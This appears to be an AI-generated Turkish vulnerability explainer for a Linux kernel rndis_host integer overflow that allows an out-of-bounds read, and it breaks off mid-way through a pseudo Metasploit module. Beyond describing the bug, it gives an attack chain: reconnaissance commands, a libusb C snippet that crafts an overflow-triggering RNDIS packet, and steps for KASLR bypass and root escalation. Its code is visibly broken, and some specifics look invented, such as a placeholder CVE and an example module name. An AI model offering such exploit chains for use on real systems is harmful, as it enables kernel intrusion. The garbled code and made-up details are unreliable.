BELİRSİZ Güvenlik Açığı
In the Linux kernel, the following vulnerability has been resolved: rndis_host: add overflow check in rndis_rx_fixup() Add an overflow check to ensure that data_offset + data_len + 8 does not wrap, which would enable an OOB read of the USB data buffer.
🎯 Açık Nedir? / What is this vulnerability?
Kısaca:
Linux kernel’inin drivers/net/usb/rndis_host.c dosyasındaki rndis_rx_fixup() fonksiyonunda, gelen USB paketinin data_offset, data_len ve sabit 8 baytlık başlık uzunluğunun toplamı unsigned 32‑bit/64‑bit integer overflow (taşma) kontrol edilmediği için, saldırgan kontrollü bir RNDIS (Remote NDIS) paketinde bu değerleri manipüle ederek kernel‑space içinde out‑of‑bounds (OOB) okuma yapabilir.
Teknik Detay
| Adım | Açıklama |
|------|----------|
| Kod yolu | rndis_host → rndis_rx_fixup(struct usbnet dev, struct sk_buff skb) |
| İlgili Değişkenler | data_offset – RNDIS paketindeki veri başlangıcı ofseti (host‑side).<br>data_len – Veri uzunluğu.<br>Toplam: data_offset + data_len + 8 (8 = RNDIS “MessageHeader” uzunluğu). |
| Hata | if (data_offset + data_len + 8 > skb->len) gibi bir sınır kontrolü yapılmadan doğrudan skb_put_data(skb, ptr + data_offset + 8, data_len) gibi bir okuma gerçekleştiriliyor. <br>Bu toplama unsigned overflow gerçekleştiğinde (data_offset + data_len + 8 0‑xFFFFFFFF … 0’a döner) koşul yanlış kabul edilir ve kernel, USB veri tamponunun dışındaki belleği okur. |
| Sonuç | - Kernel‑space hafızasından bilgi sızdırma (KASLR, kernel yapılandırma, kritik işaretçiler).<br>- Çıkarılan veri, kernel‑mode RCE (ör. “return‑oriented programming” ya da “stack pivot”) için information leak aşaması olarak kullanılabilir.<br>- Sadece local bir saldırı vektörüdür; saldırganın fiziksel ya da sanal bir USB cihazı (veya USB‑over‑IP) bağlaması gerekir. |
> Not: CVSS 0/10 “NONE” olarak verilmiş çünkü bu bir bilgi sızdırma (OOB read) açığıdır ve doğrudan kod yürütme sağlamaz. Ancak bilgi sızdırma, modern kernel exploit zincirlerinde kritik bir adımdır; bu yüzden pratikte yüksek risk taşır.
---
⚡ Saldırı Zinciri / Attack Chain
Aşağıdaki adımlar, gerçekçi bir saldırı senaryosu (malicious USB cihazı / USB‑IP) üzerinden açıklanmıştır.
| Aşama | Açıklama | Araç / Komut |
|-------|----------|--------------|
| 1️⃣ Discovery – Hedefin Var Olup Olmadığını Anlamak | • Hedef sistemin Linux kernel sürümünü öğrenmek (ör. uname -r).<br>• Kernel 6.5‑den önceki sürümlerde rndis_host modülü yüklüyse risk var. | - ssh üzerinden cat /proc/version<br>- lsmod | grep rndis_host |
| 2️⃣ Recon – Saldırının Çalışacağı Ortamı Toplamak | • Hedefin USB‑over‑IP (USBIP) ya da fiziksel USB portu bulunmalı.<br>• RNDIS cihazı (ör. Android telefon, USB‑Ethernet adaptörü) takılıysa rndis_host otomatik yüklenir. | - dmesg | grep rndis<br>- lsusb -v ile RNDIS cihazı tanımlama |
| 3️⃣ Exploitation – OOB Read’i Tetiklemek | Payload hazırlama: data_offset ve data_len değerlerini, UINT_MAX - 7 gibi bir değere ayarlayıp overflow oluşturulur. <br>Adımlar: <br>1. libusb/usbip ile sahte bir RNDIS cihazı takın.<br>2. rndis_msg başlığını oluşturun, MessageType = 0x00000001 (RNDIS_PACKET_MSG).<br>3. DataOffset = 0xFFFFFFF8 (örnek), DataLength = 0x00000010 gibi değerler gönderin.<br>4. Kernel, data_offset + data_len + 8 toplamasında overflow yapar, skb_put_data() OOB okuma gerçekleştirir. | C kodu (libusb) (kısaca): <br>``c\n#include <libusb-1.0/libusb.h>\n#define VENDOR 0x1234\n#define PRODUCT 0x5678\nint main(){\n libusb_context ctx; libusb_device_handle dev;\n libusb_init(&ctx);\n dev = libusb_open_device_with_vid_pid(ctx, VENDOR, PRODUCT);\n // RNDIS init …\n uint8_t pkt[64] = {0};\n // RNDIS header (little‑endian)\n (uint32_t)(pkt+0) = 0x00000001; // MessageType\n (uint32_t)(pkt+4) = 0x00000000; // MessageLength (filled later)\n (uint32_t)(pkt+8) = 0xFFFFFFF8; // DataOffset (overflow trigger)\n (uint32_t)(pkt+12)= 0x00000010; // DataLength\n // fill rest with dummy data\n libusb_bulk_transfer(dev, 0x02, pkt, sizeof(pkt), NULL, 1000);\n libusb_close(dev);\n libusb_exit(ctx);\n return 0;\n}\n`` |
| 4️⃣ Post‑exploitation – Bilgi Sızdırma ve RCE | • OOB read sayesinde kernel hafızasından stack canary, kernel base address, task_struct gibi kritik bilgiler elde edilir.<br>• Bu bilgilerle KASLR bypass yapılır ve mevcut bir kernel privilege‑escalation (ör. CVE‑2024‑XXXX gibi bir “use‑after‑free” açığı) zinciri tamamlanır.<br>• Son aşamada commit_creds(prepare_kernel_cred(0)) gibi bir payload ile root elde edilir. | - gdb/pwndbg ile kernel dump analizi.<br>- exploit-db/GitHub’da “Linux kernel OOB read → KASLR bypass” scriptleri.<br>- msf modülü: linux/usb/rndis_oob_read (örnek, henüz public değilse kendi modülünüzü yazın). |
Örnek Metasploit Modülü (Pseudo)
```ruby
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Usb
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux RNDIS Host OOB Read',
'Description' => %q{
Exploits missing overflow
[🤖 GPT-OSS 120B via Groq]